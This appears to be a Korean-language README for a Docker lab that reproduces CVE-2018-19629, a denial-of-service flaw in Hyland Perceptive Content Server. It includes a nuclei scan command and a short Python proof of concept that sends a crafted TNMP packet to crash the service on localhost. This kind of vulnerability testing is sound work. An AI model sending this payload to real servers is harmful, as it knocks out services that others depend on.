
Hyland Perceptive Content Server - 서비스 거부
CVE-2018-19629 - Hyland Perceptive Content Server 서비스 거부(Denial of Service)를 위한 Docker 테스트 환경입니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2018-19629 |
| 심각도 | 높음(DoS) |
| 영향받는 버전 | Hyland Perceptive Content Server < 7.1.5 |
| 패치 버전 | 7.1.5 |
Hyland Perceptive Content Server 7.1.5 이전 버전에는 TCP 연결을 통해 ImageNow Server 서비스를 중단시키는 서비스 거부 취약점이 있습니다. 공격자는 TNMP 헤더 시퀀스가 포함된 특수 제작된 TCP 패킷을 전송하여 서비스를 방해할 수 있습니다.
# Start the vulnerable environment
docker-compose up -d
# Verify it's listening
# (You might need netcat or similar)
nc -zv localhost 6000
# Test with nuclei template
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000
Python을 사용하여 수동으로 크래시를 트리거할 수 있습니다:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# The crafted packet
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()
크래시를 확인하려면 로그를 확인하세요:
docker logs -f imagenow-vuln
다음과 같은 메시지가 표시되어야 합니다: [!] CRITICAL: Recevied malicious 'TNMP' packet... 그 다음 컨테이너가 재시작됩니다.
docker-compose down